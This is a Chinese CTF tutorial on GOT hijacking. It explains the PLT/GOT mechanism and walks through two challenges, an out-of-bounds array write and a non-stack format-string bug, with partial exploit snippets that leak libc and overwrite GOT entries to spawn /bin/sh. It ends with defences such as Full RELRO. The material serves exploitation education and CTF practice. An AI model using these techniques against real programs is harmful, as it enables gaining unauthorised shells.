GOT劫持总结
字数 1592 2025-08-23 18:31:17
GOT劫持技术详解与实战分析
1. GOT劫持原理
GOT(Global Offset Table)劫持是一种利用程序动态链接机制的攻击技术。.got.plt段相当于PLT(Procedure Linkage Table)的全局偏移表,存放着外部函数的入口地址。通过修改这个表中的函数地址,可以改变程序执行流程。
核心原理:
- 当程序调用外部函数时,会通过PLT跳转到GOT表中存储的地址
- 如果修改GOT表中的函数地址为攻击者控制的地址,程序调用该函数时将执行攻击者指定的代码
- 在Partial RELRO保护下,GOT表是可写的,这为GOT劫持提供了可能
2. 数组越界劫持GOT表
案例分析:HGAME 2023 week1 choose_the_seat
漏洞分析:
- 检查保护机制:Partial RELRO → GOT表可修改
- 存在数组越界漏洞:可以输入负数作为数组索引
.got.plt表距离.bss段较近,可通过数组越界写入修改
利用步骤:
-
确定关键地址:
- seat数组地址:0x4040A0
- exit的GOT表地址:0x404040
- 两者偏移:96字节(96/16=6),因此使用索引-6可以覆盖exit的GOT表项
-
第一次修改:
- 将exit@got改为_start地址,实现程序无限循环
-
信息泄露:
- 利用read函数地址的后三位不变特性(如\xc0)
- 通过部分写入获取read函数的完整地址
- 计算libc基址
-
最终利用:
- 使用one_gadget找到合适的shell地址
- 再次修改exit@got为one_gadget地址获取shell
EXP关键代码:
# 第一次修改,实现循环
sl('-6')
s(p64(start))
# 泄露read地址
sl('-7')
s('\xc0')
read_addr = u64(r(6).ljust(8, b'\x00'))
libc_base = read_addr - libc.symbols['read']
# 最终劫持
og = libc_base + ogs[1]
sl('-6')
s(p64(og))
3. 非栈上格式化字符串劫持GOT表
案例分析:青少年CTF login
漏洞分析:
- 控制msg缓冲区内容
- 存在格式化字符串漏洞
- 可以通过格式化字符串任意写内存
利用步骤:
-
初始化:
- 输入相同用户名和密码进入主循环
- 写入/bin/sh字符串为后续做准备
-
信息泄露:
- 使用格式化字符串泄露栈地址和libc地址
- 计算system函数地址
-
分步修改:
- 先修改指针指向GOT表地址
- 分多次写入system地址(由于地址较大,需要分高低位写入)
- 使用%hn和%hhn进行精确写入
-
触发:
- 调用被修改的函数触发system("/bin/sh")
EXP关键代码:
# 初始化
sl(p64(0x404020)) # username
sl(p64(0x404020)) # password
sl('/bin/sh\x00')
# 泄露地址
sl('%15$p-%13$p')
ret = int(r(14), 16) - 0xc8
libc_base = int(r(14), 16) - 0x24083
system = libc_base + libc.sym['system']
# 分步写入
sla('start', '%' + str(addr1) + 'c%15$hn') # 修改指针
sla('start', '%' + str(0x4020) + 'c%43$hn') # 指向GOT
sla('start', '%' + str(system1) + 'c%18$hn') # 写入低16位
sla('start', '%' + str(0x4022) + 'c%43$hn') # 调整指针
sla('start', '%' + str(system2) + 'c%18$hhn') # 写入高8位
4. 技术要点总结
-
前置条件:
- Partial RELRO或No RELRO保护
- 存在可以修改内存的漏洞(如数组越界、格式化字符串等)
- 知道或能泄露GOT表地址
-
利用流程:
- 确定目标函数(常用exit、printf等)
- 获取或计算要替换的地址(如system、one_gadget)
- 通过漏洞修改GOT表项
- 触发被修改的函数调用
-
注意事项:
- 注意地址对齐和写入大小(使用%hn、%hhn等格式化字符串特性)
- 考虑ASLR影响,可能需要先泄露地址
- 对于64位程序,大地址可能需要分多次写入
-
防御措施:
- 启用Full RELRO保护(编译时加
-Wl,-z,relro,-z,now) - 及时更新有漏洞的库函数
- 避免使用危险的函数或确保输入安全
- 启用Full RELRO保护(编译时加
5. 扩展思考
-
与其他技术的结合:
- 结合堆漏洞实现任意地址写
- 结合ROP技术绕过保护
- 在无leak情况下使用部分写进行爆破
-
变种利用:
- 修改构造函数(如.init_array)的GOT项
- 劫持动态链接器相关的GOT项
- 针对特定函数(如malloc/free)的劫持
-
现代防护下的绕过:
- 在Full RELRO下寻找其他可写函数指针
- 利用FILE结构体等替代方案
- 结合JOP(Jump-Oriented Programming)技术
GOT劫持是一种经典的利用技术,虽然现代防护机制使其难度增加,但在特定场景下仍具有实用价值。理解其原理和实现方式有助于更好地防御此类攻击。